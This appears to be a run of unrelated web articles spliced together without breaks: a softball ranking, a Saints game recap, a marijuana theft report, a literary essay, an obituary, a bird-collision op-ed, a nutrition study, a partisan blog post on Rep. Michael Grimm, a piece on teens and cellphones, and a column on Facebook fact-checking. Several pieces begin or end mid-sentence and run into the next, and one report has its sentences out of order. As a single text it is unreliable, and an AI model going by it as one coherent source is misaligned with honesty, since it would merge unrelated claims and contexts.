The Minnesota softball team starts the 2016 season ranked No. 14 in the USA Today/NFCA Division 1 Preseason Top 25 Poll. This is the highest ranking the Gophers will start a season with in program history after being ranked No. 15 to start last season.
Before last season the Gophers had not started a season ranked in top-25 preseason rankings since 1999.
Minnesota is coming off a 49-11 season where they reached the regional championship game. They have now gone to a program record three straight NCAA Tournaments. The Gophers finished last season ranked No. 15 in both the NFCA and ESPN.com/USA Softball rankings. They reached their highest ranking in program history when they reached No. 11 in the ESPN.com/USA Softball poll last season after winning a program best 15 straight games.
The Maroon and Gold return 15 players from last year while bringing in three freshmen. Key returners include 2015 NFCA Second Team All-American and Big Ten Player of the Year Sara Groenewegen, NFCA Freshman of the Year Top-10 finalist Danielle Parlich, All-Big Ten and first team all-region Sam Macken and third team all-region Taylor LeMay who has started 113 out of 116 games behind the plate for the Gophers the past two seasons.
Currently the Gophers are scheduled to play five teams that are ranked in the top-25 and another five against teams that received votes. Also representing the Big Ten in the top-25 is Michigan (2) with Northwestern, Nebraska and Ohio State receiving votes. Minnesota and Michigan will not play each other in the regular season.
The 2016 Minnesota softball season opens Feb. 12 in Las Vegas, Nev. at Sportco Kickoff Classic.
2016 USA Today/NFCA Division I Softball Coaches Poll
Preseason | Jan. 26, 2016
Rank Team Points 2015 Record Final 2015 Rank 1 Florida (26) 782 60-7 1 2 Michigan (2) 755 60-8 2 3 LSU (2) 711 52-14 4 4 Auburn (1) 698 56-11 3 5 Alabama (1) 672 48-15 6 6 Oregon 666 51-8 7 7 UCLA 625 51-12 5 8 Tennessee 548 47-17 8 9 Oklahoma 514 49-9 9 10 Florida State 493 49-14 10 11 Louisiana Lafayette 449 42-12 11 12 Georgia 416 44-17 12 13 Arizona 385 41-20 13 14 Minnesota 376 49-11 15 15 Missouri 369 42-16 14 16 Baylor 290 41-17 18 17 UCF 270 50-9 16 18 Kentucky 260 32-26 17 19 James Madison 198 48-10 22 20 Washington 197 42-17 21 21 California 142 39-18 23 22 Arizona State 136 36-22 20 23 North Carolina State 114 38-22 19 24 Notre Dame 77 42-15 t25 25 South Alabama 73 40-13 23
Receiving Votes: Texas A&M (38), North Dakota State (32), Utah (22), Hofstra (14), Nebraska (13), Texas (12), Northwestern (10), Ohio State (6), North Carolina (6), Florida Atlantic (5), Mississippi State (5), USC Upstate (4), UAB (4), Western Kentucky (4), Fresno State (3), Kansas (2), Louisville (2), Pittsburgh (2).
The USA Today/NFCA Division I Softball Coaches Poll is voted on by 32 NCAA Division I head coaches, one representing each conference. |
. It’s rarer still when a cornerback as young as Lattimore (21) makes a positive impact as a rookie. (Remember the “project” who famously busted, Stanley Jean-Baptiste? He was 24 as a rookie.) Rarest of all is that such a young rookie is not only making a positive impact, but playing like one of the very best players in the league at his position. Assuming he stays healthy– and there have been a few moments this year where we fans collectively held our breath– he should be a top player in the league, not just at his position, but in the entire league, for years to come.
I haven’t covered the offense much yet, because they didn’t do anything particularly exciting. The Saints had a couple of longer drives that ended in field goals, but their two touchdowns came on big plays. Mark Ingram’s breakaway 26-yard touchdown run in the third quarter made it 20-3 and, in conjunction with the ensuing fourth-and-goal stop, essentially ended the game. Ted Ginn’s touchdown, where he got wide open behind Desmond Trufant and the Falcons defense and took a deep pass 54 yards to the end zone, took the score from 6-0 to 13-0 just before halftime, a major shift in the Saints’ win probability.
Even with Ingram’s breakaway TD run, Ingram and Alvin Kamara only combined for 76 yards on 25 carries. The offense struggled to get going in the running game, and even the passing game was only intermittently successful. Brees completed 75% of his passes but also threw an interception, and the team only converted 3 of 13 third-down attempts. Kamara did most of his damage out of the backfield receiving, with a 7/58 line there, and Michael Thomas and Ginn each caught four passes. (Thomas is now four catches away from Jarvis Landry’s record for most receptions in a player’s first two seasons; at 98 this season, he’s one away from Jimmy Graham’s franchise record for most receptions in a single season.)
Amazingly, though the Saints at last clinched a playoff berth with this win, they still have not clinched the division title. The Panthers keep winning, and so both teams remain 11-4 going into the final week. While the Saints go to Tampa to play a 4-11 Buccaneers team that has little left to play for (and go to Tampa as a touchdown favorite), Carolina has to travel to Atlanta, where the 9-6 Falcons are favored by six and can clinch a playoff berth if they win. Because the Saints have the tiebreaker over the Panthers after sweeping them in the regular season, it will only take a Saints win or Panthers loss for New Orleans to lock up the division title. Carolina is locked into the fifth seed if they can’t win the division, so if New Orleans gets a big lead early I’d expect them to start resting players.
The only other interesting possibility for New Orleans’ playoff fortunes is what happens with the Los Angeles Rams. The Rams beat the Saints earlier in the year, and so they have the tiebreaker for the #3 seed even though both teams sit at 11-4. However, the difference between the #3 and #4 seed is fairly marginal, so Los Angeles has already announced they’re planning to rest some of their best players, like Todd Gurley and Aaron Donald, as well as QB Jared Goff. This opens the door for San Francisco to sneak out another win– they are 4-0 with Jimmy Garoppolo as their starting QB, after all– and that could give the Saints the opportunity to jump into the third seed. It would mean that Los Angeles would get to travel to play Carson Wentz-less Philadelphia, rather than to Minnesota– but that kind of gamesmanship and engineering a result often comes back to bite teams. (The last time the Saints played Minnesota, Sam Bradford and Dalvin Cook were in the Vikings’ lineup, and De’Vante Harris and Adrian Peterson were in the Saints’.) If that happens, the best possible scenario, and the karmically fitting one, would see the Saints hosting the Rams in the NFC championship game.
First things first, though! Sealing up the win at Tampa and the division title is the immediate business. The Saints are playoff-bound; they need to win the division to secure at least one home game. If they can do that, though, the NFC is wide open this year, and the Saints have proven a gritty and resilient team that has plowed through a rash of injuries to step up its performance in the biggest games and most crucial moments.Police reportedly questioned Pert about the burglary and he admitted to stealing the plants, reports the Bangor Daily News. He now faces charges of burglary, theft, and illegal possession of a firearm.
Thomas Davis, a state-licensed marijuana caregiver, had his house burglarized this week. Aaron Pert allegedly broke into Davis' greenhouse and stole 17 marijuana plants valued at about $13,000.
Police say that Pert broke into Davis' greenhouse by cutting two large openings. He then used clippers to remove the mature, flowering branches from the large plants, reports the Daily News.
After the burglary, Pert allegedly stashed the pot branches in the woods. When he admitted the crime, Pert reportedly told police where the drugs were stashed. The question then arose as to who should have possession of the marijuana.
Because marijuana is illegal under federal law, Maine police were unsure whether they should return the plants to Davis. So the police held onto the plants for several days. In the meantime, Davis was eager to recover the plants as the plants reportedly have a short shelf life outside of the greenhouse.
After two days, the Ellsworth Police Chief made the decision to return the marijuana plants. It was reasoned that Davis met state requirements to grow the plants, and so should have the right to repossess the plants following a burglary. The chief said that returning the marijuana to Davis was legal "as far as he was concerned," reports the Daily News.
Davis said that he hopes the chief's decision to return the plants will set a precedent for future local police departments to view medical marijuana the same way they'd view any other stolen medicine. Unless the federal government challenges the local police department, the police chief's decision will likely stand.
Related Resources:Rationality, I informed Mom and Dad, was like a dagger in the soul. I said all this through $40 million worth of hardware on my teeth — instead of sending me to an ordinary orthodontist, my doting parents had actually hired a top civil engineer to work on my mouth. I exaggerate, but you see what I mean. And this is how I paid them back. Week after week, I expounded the cult of unhappiness at the dinner table. Exiled to my room, I consoled myself with Camus, who tells us that to live honestly we must ask ourselves every day whether we should take our own lives. There was no agency, on the local, state or federal level, to intervene on my behalf. The die was cast.
Harold Bloom once wrote that literature’s most precious gift is to teach us to be alone with ourselves. Easy to say when you’re surrounded by adoring graduate students. I began to carry around my solitude like a trophy, cultivating anomie the way some of my friends lavished care on their pet gerbils. It was an unhealthy situation.
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This wasn’t just baffled adolescent desire rushing with relief into morbid tales of anger and renunciation. Uplifting writing derailed me, too. When, in 10th grade, Antonia Perella (let’s call her) — the love of my hormone-addled life! — finally chose me as her partner at a square dance, I was so afraid of not rising to the occasion that I refused, ennobling my cold feet by summoning to my mind Plato’s vision of love (see “Phaedrus”) as moist wings sprouting from the lover’s body. I just didn’t feel the wings business, I told myself. Recently, I learned from Classmates.com that Antonia had married a professional wrestler. Can you blame her?
But even Oedipus eventually saw the light (or so Sophocles tells us — you decide). Somewhere in my freshman year of college, my mind, thankfully, began to close a little and the world started to open up. I was on the slow boat to recovery... and then calamity struck. A “friend” lent me his copy of Bellow’s “Herzog.”
If ever there was a candidate for strict Congressional oversight, it is this cunning little book. Moses Herzog is a professor in the full throes of midlife crisis who writes countless letters to the famous literary and intellectual dead. These scintillating one-sided exchanges, in which Herzog quotes and spars with the great minds of Western civilization, made me feel that I was mastering life as I read them, just as a budding music historian might have the delusion that he was mastering the piano simply by listening to a sonata by Beethoven.
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In fact, as I discovered many years later, Bellow was joking. What he wanted to demonstrate, in the figure of poor Herzog, was the utter ineffectuality of the most potent ideas. Thanks for letting me know, pal. Since nobody at the time bothered to let me in on all the fun, I finished “Herzog” as, well, Herzog. At job interviews, I assured prospective employers of my immunity to distraction by affectionately invoking Artistotle’s observation that copulation makes all animals sad. To puzzled women on dates, I expatiated on Hegel and Sombart. “What’s wrong?” one girl asked me as we stared into each other’s eyes and I smiled ruefully. “Oh nothing,” I said. “Spinoza associated desire with disconnected thinking — that’s all.”
And so it went, just like that, reaching the high point of absurdity when I applied for a job at a publication called The Social Register, thinking that it was a socialist magazine.
I had been reading Gramsci by way of Silone by way of Engels on the Manchester working class. So enthusiastic had I become about the sweeping inexorabilities of dialectical materialism that I neglected to pick up an actual, material copy of The Social Register. Grando mistako. If I had, I would have seen that it was not a socialist magazine at all, but a comprehensive directory of America’s high society. My interviewer, a pleasant, 40-ish man in a rumpled white shirt and tie, sat in his Fifth Avenue office and listened politely, his lip curling ever so slightly, to my reflections on hegemony, slave consciousness and “boring from within.” He even walked me to the door.
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I hope you are at least partly convinced by the power of my examples. Somehow, we’ve been sold a bill of goods about how literature empowers us. But the idea that great literature can improve our lives in any way is a con as old as culture itself. The University of Chicago’s Great Books course? Think Tammany Hall. “Willing suspension of disbelief”? Code for: distract him while I lift his wallet. The government regulates drugs, alcohol and (finally) bad lending practices. How long can we continue to allow the totally laissez-faire dissemination of literature? Not even a warning from the surgeon general or the attorney general, or some sort of general, on the back of every book?
It was years before I realized that if life is a voyage of sorts then the best thing to do is to keep busy in the depths of your little boat — your life — polishing, tuning, cleaning, repairing the engine that is your own inborn strength, without regard to extraneous aids in the form of culture. Facing it, always facing it, that’s the only way to get through.
O.K., I got all that from Conrad. The fact is that “facing it” has gotten me into trouble, too. I tell you, these people are hard to shake.Before his disappearance touched off a regional manhunt and his body was recovered from the waters off Fells Point, Evan Curbeam had been a standout in the Air National Guard. Last year, he appeared in a recruitment video. This year he was named Airman of the Year for his unit.
"I always saw him racing through the ranks, especially doing it full time," said Air National Guard member Jason Harden of Elgin, Ill. "You could tell in his eyes he was hungry for it."
Curbeam, 29, of Rosedale was found dead in the harbor the day before Thanksgiving, ending what friends and family said was a promising career and leaving a 4-year-old daughter fatherless. The exhaustive search for Curbeam had begun when he failed to pick up his daughter, Julia, as scheduled on Saturday morning after going out with friends.
On Friday, Curbeam's family said in a statement that his death was accidental. Mary-Margaret Stepanian, a family friend, said police told the family that detectives found no signs of foul play and believed Curbeam accidentally fell while walking along the edge of the harbor.
Curbeam couldn't swim, Stepanian said.
Police said their investigation remains open pending an autopsy. Determination of the cause and manner of Curbeam's death is awaiting a toxicology report and other tests and could take several days, said Bruce Goldfarb, spokesman for the state Office of the Chief Medical Examiner.
Harden said it was clear that Curbeam was going places in the Air National Guard. Even in basic training, Curbeam held leadership positions, and Harden said he was not surprised to learn his friend had recently been named Airman of the Year for the D.C. Air National Guard.
Curbeam had served for two years and worked full time at Joint Base Andrews in the munitions section of the 113th Maintenance Squadron. His parents plan to accept the Airman of the Year award on his behalf next week.
Curbeam and Harden met last fall when they were both selected to appear in a Guard recruiting commercial. The two bonded right away when they found themselves prepping for the shoot in a bathroom at an Air Force base in Peoria, Ill.
"He was telling me how much he liked working for the Air Guard. We were pumped to shoot this commercial," Harden said.
Curbeam appears about halfway through the 30-second ad, manning a grill to demonstrate that National Guard members can serve part time and close to home.
"He was a natural. He was twirling the spatula around, and the producer was saying, 'That's great!' " Harden said.
Curbeam was last seen at about 1:30 a.m. last Saturday, leaving a group of friends at the Bond Street Social bar to walk to his car, parked at Eastern Avenue and Broadway.
His family reported him missing to Baltimore County police, and city homicide detectives later took over the investigation. Divers recovered his body near the Recreation Pier on Wednesday afternoon.
Stepanian said Curbeam's parents, David and Tonya Thomas, were "humbled and thankful" for the outpouring of support from authorities and concerned residents who shared Evan's photograph on Facebook, Twitter and Instagram to aid in the search. They also thanked Polytechnic Institute's Class of 2002, Curbeam's graduating class.
"They really are taking comfort in the fact that so many people were so respectful," Stepanian said.
After graduating from Poly, Curbeam headed to Rochester Institute of Technology in New York, where he earned a bachelor's degree in electrical engineering technology in 2007, said Bob Finnerty, an RIT spokesman. While there, Curbeam played baseball for a year and was a sprinter and jumper on the track and field team, Finnerty said.
Curbeam also earned a master's degree in systems engineering and engineering management from George Washington University in 2010, according to his LinkedIn profile. School officials could not be reached Friday.
Meir Curry said Curbeam had a positive outlook. The two became friends as teenagers, riding the bus home from high school after sports practice — Curbeam played baseball and Curry played softball.
Earlier this year, Curbeam portrayed King Musa I, a 14th-century ruler of Mali, and stepped in as Thurgood Marshall in a play that Curry put on for Black History Month at St. John's Christian Community Church.
"He had a very positive attitude and a positive perspective on life and how to live life to the fullest," she said. "That was Evan's motto. Every day, he lived life to the fullest.
"Everybody loved him. Evan didn't have any enemies," Curry said.
They last hung out earlier this month at the annual City-Poly football game. When Curry texted Curbeam before the game to ask if he was ready, Curbeam responded with pictures of his old Poly baseball jersey and letterman's jacket, fresh from the cleaners.
"He was beyond ready," Curry said.
Sian Williams also kept up with Curbeam after high school. They met in the marching band, where Curbeam played on the drum line and Williams was in the flag and poms group. "He was always talking, really goofy, really social," Williams said.
Williams and Curbeam video-chatted while he was at basic training and talked more often when he returned to Baltimore. The last time they saw each other was at the City-Poly game.
"The Poly family is pretty tight, even with different classes," Williams said. "When you lose one, it hurts everybody."
Funeral services for Curbeam will be private, his family said.
Baltimore Sun reporter Justin George contributed to this article.
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twitter.com/cwellssunWith ongoing construction in the Meadowlands in recent decades, an unanticipated cost has become more and more apparent: an alarming number of bird deaths.
The Meadowlands attracts tens of thousands of birds each year, representing more than 200 species, as it offers a diversity of habitats and sits in the Atlantic Flyway, a major migration corridor for many different birds, from raptors to waterfowl to songbirds, every spring and fall.
Bird collisions with buildings are a significant problem.
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That is why New Jersey Audubon and Bergen County Audubon Society are calling for the passage of legislation sponsored by Assemblyman Tim Eustace, A-4795, requiring non-residential buildings and structures constructed or reconstructed in the Meadowlands to use bird-friendly glass or other methods to significantly reduce bird collisions.
The Meadowlands are an important habitat for birds. Between 2004 and 2006, New Jersey Audubon recorded more than 150,000 individuals of 200 bird species in the Meadowlands, including 35 endangered, threatened or species of special concern.
Collision with structures is the cause of hundreds of millions of bird deaths each year in the United States. Structures featuring glass are particularly dangerous because transparent windows and reflective surfaces can easily look like continuing open air, and don’t appear as barriers to birds.
At night, glass buildings can even attract migrating birds that mistake reflections of light for navigational cues normally provided by stars and the moon.
Bright lights at night have been shown to disorient birds, causing them to circle the light source, sometimes for hours, which can result in exhaustion and in many cases, collisions with building windows or the ground.
Mortality rates resulting from collisions with building glass have been found to increase with a variety of factors. One clear concern - the more glass on a building, the greater percentage of bird strikes.
These problems can be amplified under weather conditions that hamper overall visibility, such as fog, or challenge capabilities, such as strong winds.
Birds are especially vulnerable on cloudy days when they must fly lower in the sky, and certain bird species that make long journeys and are unfamiliar with certain areas are more at risk for hitting a building.
New Jersey Audubon is now assessing the magnitude and extent of bird-building collisions in Newark. This spring, we conducted surveys at 12 tall buildings and found more than 250 individuals of 50 species that had collided with buildings in the months of April and May. Of these, more than half were dead and the rest were injured.
We hope to continue our work during the fall migration and help to quantify the magnitude of the problem systematically, identifying specific buildings that may contribute to high mortality rates, documenting factors that may contribute to variation in the number of birds injured and killed and developing strategies to ameliorate these impacts.
The cumulative effects of bird strikes are significant in northern New Jersey. The proposed legislation would be a major step to reducing bird mortality in the Meadowlands, which feature a range of structures, from shining skyscrapers in Jersey City to smaller business buildings in Kearny.
The Meadowlands is likely to experience significant, continued growth. In 2004, the New Jersey Meadowlands Council authored a new master plan to target redevelopment in blighted areas, anticipating a new market value of $5.6 billion and more than 56,000 jobs.
By requiring new buildings to feature designs that will make buildings more visible to birds – such as opaque glass, creating designs on glass and innovative lighting systems – the legislation offers thoughtful protections for migrating birds passing through the Meadowlands.
This law encourages important and ongoing dialogue toward responsible architectural designs that are less harmful to birds. As northern New Jersey continues to develop and urbanize, now is the time to proactively avoid continued impacts to bird populations from building strikes, which only compounds losses from other threats such as habitat loss and climate change.A nutrient in meat and eggs may conspire with gut bacteria to make the blood more prone to clotting, a small study suggests.
The nutrient is called choline. Researchers found that when they gave 18 healthy volunteers choline supplements, it boosted their production of a chemical called TMAO.
That, in turn, increased their blood cells’ tendency to clot. But the researchers also found that aspirin might reduce that risk.
TMAO is short for trimethylamine N-oxide. It’s produced when gut bacteria digest choline and certain other substances.
Heart health: Do you know the key metrics to keep yourself safe?
Past studies have linked higher TMAO levels in the blood to heightened risks of blood clots, heart attack and stroke, said Dr. Stanley Hazen, the senior researcher on the new study.
These findings, he said, give the first direct evidence that choline revs up TMAO production in the human gut, which then makes platelets (a type of blood cell) more prone to sticking together.
Choline is found in a range of foods, but it’s most concentrated in animal products such as egg yolks, beef and chicken.
Hazen said he and his colleagues at the Cleveland Clinic wanted to isolate the effects of choline on people’s levels of TMAO and their platelet function. So they studied supplements.
The researchers had 18 healthy adults --10 meat-eaters and eight vegetarians/vegans -- take choline supplements for two months.
The supplements provided around 450 milligrams of choline daily -- roughly the amount in two or three eggs, Hazen said.
One month in, the study found, the supplements had raised participants’ TMAO levels 10-fold, on average. And tests of their blood samples showed that their platelets had become more prone to clotting.
“This study gives us one of the mechanisms by which TMAO may contribute to cardiovascular disease,” said Dr. J. David Spence.
Spence, who was not involved in the study, directs the Stroke Prevention & Atherosclerosis Research Centre at Western University in London, Ontario, Canada.
For the healthy people in this study, Spence said, the TMAO rise from choline might not be worrisome. But, he added, it might be a concern for people at increased risk of heart disease or stroke.
Spence suggested those individuals limit egg yolks, beef and other foods high in choline.
Hazen had similar advice. “You don’t have to become a vegetarian,” he said. “But you could try eating more plant-based foods, and more vegetarian meals.”
How your gut bacteria may be linked to heart health
He also pointed to the Mediterranean diet -- rich in olive oil, vegetables and fish. In an earlier study, Hazen said, his team found that a compound in olive oil seems to inhibit TMAO formation.
The new study uncovered yet another compound that may counter TMAO: low-dose aspirin.
In a separate experiment, the researchers had some participants take 85 milligrams of aspirin (a baby aspirin) a day, in addition to choline supplements. That, it turned out, lessened the rise in TMAO and the change in platelet activity.
Doctors already prescribe low-dose aspirin to certain people at risk of heart disease and stroke.
It’s possible, Hazen said, that aspirin’s effects on TMAO are one reason it helps ward off cardiovascular trouble.
The current study is small and preliminary. But it’s the latest to suggest that the gut “microbiome” plays a key role in cardiovascular disease, Spence said.
The “microbiome” refers to the trillions of bacteria that dwell in the gut. Spence said researchers are just beginning to understand how gut bacteria and their byproducts affect the cardiovascular system.
But one hope, he said, is to figure out what balance of gut bacteria supports cardiovascular health -- and possibly use probiotic (“good” bacteria) supplements to help treat people at high risk of heart disease or stroke.
Spence said his own lab is working on just that.
There are, of course, many factors in heart disease risk -- from age to high blood pressure to diabetes to smoking, Hazen pointed out.
“We’re saying a portion of the risk is related to the gut microbiome,” he said.
Hazen and a colleague report potential royalty payments from several companies related to “cardiovascular diagnostics and therapeutics.” One company, Cleveland HeartLab, recently launched a test for measuring TMAO levels.
The findings appear in the April 25 online issue of Circulation.GOP Rep. Michael Grimm, representing New York’s 11th congressional district (Staten Island/Brooklyn), keeps making the news, and not in ways that he wants. Grimm is a congressman who was brought into office in 2010 with support from the rightwing Israel lobby; he is being investigated by the FBI for circumventing campaign finance (he got half a million dollars from an Israeli rabbi’s followers even after his ex girlfriend took the rap for funneling the money to Grimm). Ynet reported earlier this month:
An FBI investigation into Republican Congressman Michael Grimm’s campaign finances ties him to Israeli Rabbi Yoshiyahu Pinto through donations of more than half a million dollars, and has also led to suspicions of senior Israeli police officers accepting bribes from Pinto.
Then on Tuesday night, The Nation reports, Grimm threatened to throw Michael Scotto, a reporter for NY1, off a balcony at the Capitol Rotunda after the State of the Union address. Scotto was merely trying to squeeze in a question about the ongoing federal investigation.
“And just finally before we let you go, we haven’t had a chance to talk about some of the…” Scotto began before Grimm cut him off. “I’m not speaking to you off-topic, this is only about the president,” said Grimm, before walking off camera. “So Congressman Michael Grimm does not want to talk about some of the allegations concerning his campaign finances,” Scotto said before tossing back to the station. But as the camera continued to roll, Grimm walked back up to Scotto and began speaking to him in a low voice. “What?” Scotto responded. “I just wanted to ask you…” Grimm: “Let me be clear to you, you ever do that to me again I’ll throw you off this f——-g balcony.”
Radical. There’s more:
Scotto: “Why? I just wanted to ask you…” [cross talk] Grimm: “If you ever do that to me again…” Scotto: “Why? Why? It’s a valid question.” [cross talk] Grimm: “No, no, you’re not man enough, you’re not man enough. I’ll break you in half. Like a boy.”
Touchy! The Nation published Grimm’s excuse. Something about being “extremely annoyed” because he was just doing a “favor” for the reporter. Later, (probably after realizing his threat was caught on camera) he apologized:
I was wrong. I shouldn’t have allowed my emotions to get the better of me and lose my cool. I have apologized to Michael Scotto
Here’s some of the back story. In 2008, Phil Weiss went to Grimm’s district, which had lately elected a Democrat:
Last night I heard something too stupendous to be believed. I was in a Christian church serving the Arab community in Bay Ridge, Brooklyn… and a local Arab leader, Dr. Ahmad Jaber, said he had gotten a promise from Michael McMahon, the congressman-elect for New York’s 13th District, that he would visit the West Bank to see for himself the apartheid conditions there.
The New York Times also reported that McMahon had major Arab-American and Muslim support.
Then in 2010, McMahon was unseated by Grimm, in a close race, 51-48 percent. The Almanac Of American Politics says Grimm won by calling McMahon “Tax Hike Mike.” But Israel was plainly a factor in the race. McMahon even signed a letter calling on Obama to commute spy Jonathan Pollard’s sentence. He lost the race, though he reportedly won the Jewish vote in the district. And in 2012 Grimm was reelected.
Here’s more from Ynet on the ongoing Grimm FBI saga.
The affair came to light due to an FBI wiretap agreed to by Pinto as part of a settlement with the bureau, after Pinto filed a blackmail complaint resulting the rabbi having to testify against Grimm, the New York Republican Congressman and former FBI agent…. Grimm visited Israel several times, even meeting with Prime Minister Benjamin Netanyahu and Jerusalem Mayor Nir Barkat……The paper said that Grimm was in contact with Ofer Biton, one of Pinto’s assistants, in order to raise money for his election from the rabbi’s followers. Grimm, it said, had good reason to turn to the popular rabbi since he needed a great deal of money. Pinto supplied the funds to the Republican incumbent, a Catholic who prays every Sunday in church. Grimm was able to raise more than half a million dollars – which comprised half of his total fundraising for the election, the FBI revealed. Biton is being investigated on the suspect of embezzling millions of dollars from Pinto’s followers. The New York Times also reported that there were illegal donations that included cash transfers and straw companies. The followers said they gave the money because Biton said Pinto wanted his followers to donate to the politician. Pinto’s spokesman told the Times that the rabbi had met with Grimm but he wasn’t aware of the donations. Biton outright denied any connection to raising funds for Grimm. Despite the denials, the FBI’s investigation brought to an arrest of Grimm’s former girlfriend on charges of circumventing federal campaign laws to funnel money to Grimm, the New York Daily News reported.
A Catholic who prays every Sunday in church gets the loot from a rabbi? Sounds like it might make a great Hollywood script.
Update: McMahon and Grimm fought for the Jewish vote and for Jewish donors in 2010; and as we noted, McMahon reportedly won the Jewish vote in the district. My headline originally stated that Grimm is a poster boy for the Israel lobby. I changed it. –Weiss.Children increasingly rely on personal technological devices like cellphones to define themselves and create social circles apart from their families, changing the way they communicate with their parents.
Innovation, of course, has always spurred broad societal changes. As telephones became ubiquitous in the last century, users — adults and teenagers alike — found a form of privacy and easy communication unknown to Alexander Graham Bell or his daughters.
The automobile ultimately shuttled in an era when teenagers could go on dates far from watchful chaperones. And the computer, along with the Internet, has given even very young children virtual lives distinctly separate from those of their parents and siblings.
Business analysts and other researchers expect the popularity of the cellphone — along with the mobility and intimacy it affords — to further exploit and accelerate these trends. By 2010, 81 percent of Americans ages 5 to 24 will own a cellphone, up from 53 percent in 2005, according to IDC, a research company in Framingham, Mass., that tracks technology and consumer research.
Social psychologists like Sherry Turkle, a professor at the Massachusetts Institute of Technology who has studied the social impact of mobile communications, say these trends are likely to continue as cellphones morph into mini hand-held computers, social networking devices and pint-size movie screens.
“For kids it has become an identity-shaping and psyche-changing object,” Ms. Turkle said. “No one creates a new technology really understanding how it will be used or how it can change a society.”
Marketers and cellphone makers are only too happy to fill the newest generation gap. Last fall, Firefly Mobile introduced the glowPhone for the preschool set; it has a small keypad with two speed-dial buttons depicting an image of a mother and a father. AT&T promotes its wireless service with television commercials poking fun at a mom who doesn’t understand her daughter’s cellphone vernacular. Indeed, IDC says revenue from services and products sold to young consumers or their parents is expected to grow to $29 billion in 2010, up from $21 billion in 2005.
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So far, parents’ ability to reach their children whenever they want affords families more pluses than minuses. Mr. Hampton, who is divorced, says it is easy to reach Katie even though they live in different time zones. And college students who are pressed for time, like Ben Blanton, a freshman who plays baseball at Vanderbilt University in Nashville, can text their parents when it suits them, asking them to run errands or just saying hello.
“Texting is in between calling and sending and e-mail,” he explained while taking a break from study hall. Now he won’t even consider writing a letter to his mother, Jan. “It’s too time consuming,” he said. “You have to go to the post office. Instead, I can sit and watch television and send a text, which is the same thing.”
But as with any cultural shift involving parents and children — the birth of rock ’n’ roll or the sexual revolution of the 1960s, for example — various gulfs emerge. Baby boomers who warned decades ago that their out-of-touch parents couldn’t be trusted now sometimes find themselves raising children who — thanks to the Internet and the cellphone — consider Mom and Dad to be clueless, too.
Cellphones, instant messaging, e-mail and the like have encouraged younger users to create their own inventive, quirky and very private written language. That has given them the opportunity to essentially hide in plain sight. They are more connected than ever, but also far more independent.
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In some cases, they may even become more alienated from those closest to them, said Anita Gurian, a clinical psychologist and executive editor of AboutOurKids.org, a Web site of the Child Study Center at New York University.
“Cellphones demand parental involvement of a different kind,” she said. “Kids can do a lot of things in front of their parents without them knowing.”
TO be sure, parents have always been concerned about their children’s well-being, independence and comportment — and the rise of the cellphone offers just the latest twist in that dynamic. However it all unfolds, it has helped prompt communications companies to educate parents about how better to be in touch with their children.
In a survey released 18 months ago, AT&T found that among 1,175 parents the company interviewed, nearly half learned how to text-message from their children. More than 60 percent of parents agreed that it helped them communicate, but that sometimes children didn’t want to hear their voice at all. When asked if their children wanted a call or a text message requesting that they be home by curfew, for instance, 58 percent of parents said their children preferred a text.
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“Just because you can reach them doesn’t mean they have to answer,” said Amanda Lenhart, a senior research specialist at the Pew Internet & American Life Project, which is studying the impact of technology on adolescents. “Cellphones give teens more of a private life. Their parents aren’t privy to all of their conversations.”
Text messaging, in particular, has perhaps become this generation’s version of pig Latin. For dumbfounded parents, AT&T now offers a tutorial that decodes acronyms meant to keep parents at bay. “Teens may use text language to keep parents in the dark about their conversations by making their comments indecipherable,” the tutorial states. Some acronyms meant to alert children to prying eyes are POS (“parent over shoulder”), PRW (“parents are watching”) and KPC (“keeping parents clueless”).
SAVANNAH PENCE, 15, says she wants to be in touch with her parents — but also wants to keep them at arm’s length. She says her father, John, made sure that she and her 19-year-old brother, Alex, waited until high school before they got cellphones, unlike friends who had them by fifth grade. And while Savannah described her relationship with her parents as close, she still prefers her space.
“I don’t text that much in front of my parents because they read them,” she said. And when her parents ask who is on the phone? “I just say, ‘People.’ They don’t ask anymore.”
At first, John Pence, who owns a restaurant in Portland, Ore., was unsure about how to relate to his daughter. “I didn’t know how to communicate with her,” Mr. Pence said. “I had to learn.” So he took a crash course in text messaging — from Savannah. But so far he knows how to quickly type only a few words or phrases: Where are you? Why haven’t you called me? When are you coming home?
When his daughter asks a question, he typically has one response. “ ‘OK’ is the answer to everything,” he said. “And I haven’t used a question mark yet.” He said he had to learn how to text because his daughter did not return his calls. “I don’t leave a message,” he said, “because she knows it’s me.”
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, could be used to censor Truthdig or similar opinion journals.
“It’s a good question,” he replied in an email. “I don’t believe Facebook would intentionally try to bury opinion sites like Truthdig, but ultimately, we have to take them at their word because we don’t have the access required to interrogate and audit their systems. Even if it has intentions that we think align with our editorial values, we just don’t know how these intentions play out when they are translated into opaque algorithmic systems.”
Kalev Leetaru, a senior fellow at the George Washington University Center for Cyber & Homeland Security, wrote in Forbes last December, “Remarkably, there has been no mention of how Facebook will arbitrate cases where journalists object to one of their articles being labeled as ‘fake news’ and no documented appeals process for how to overturn such rulings. Indeed, this is in keeping with Facebook’s opaque black box approach to editorial control on its platform. … We simply have no insight into the level and intensity of research that went into a particular label, the identities of the fact checkers and the source material they used to confirm or deny an article – the result is the same form of ‘trust us, we know best’ that the Chinese government uses in its censorship efforts.”
Leetaru’s mention of China brings to mind a new law that initiates an American government effort to identify and counter what officials consider propaganda from foreign nations.
In December, President Barack Obama signed legislation authored by Republican Sen. Rob Portman of Ohio and Democratic Sen. Chris Murphy of Connecticut that greatly increases the federal government’s power to find and counter what officials consider government propaganda from Russia, China and other nations and provides a two-year, $160 million appropriation. It would create a web of government fake-news hunters.
Portman’s office said “the legislation establishes a fund to help train local journalists and provide grants and contracts to NGOs, civil society organizations, think tanks, private sector companies, media organizations, and other experts outside the U.S. government with experience in identifying and analyzing the latest trends in foreign government disinformation techniques.”
It’s bad enough that Facebook and its media colleagues will be scrubbing and scraping for fake news, deciding whether investigative or opinion articles fit into that category. Creating a government fake-news search complex—especially with this Trump administration—is much worse.
Journalism’s job is to cover government deeds and to shed light on actions that reporters, editors, publishers and the public consider wrong. It is journalism’s obligation to investigate and explain government on behalf of the public.
This is “muckraking,” the word I used at the beginning of this column.
Merriam-Webster says the word dates back to the 17th century and means to “search out and publicly expose real or apparent misconduct of a prominent individual or business.” The Cambridge Dictionary says muckraking is “trying to find out unpleasant information about people or organizations in order to make it public.”
President Theodore Roosevelt used the term as an insult to reporters. They, being contrarians, wore the term as a badge of honor, as they still do.
There’s a difference between muckraking and fake news. Determining the difference is too difficult for a computer, even one with the smartest kind of artificial intelligence.The project can be found on DroidsOnRoids Github in Material Showcase repository.
First glance
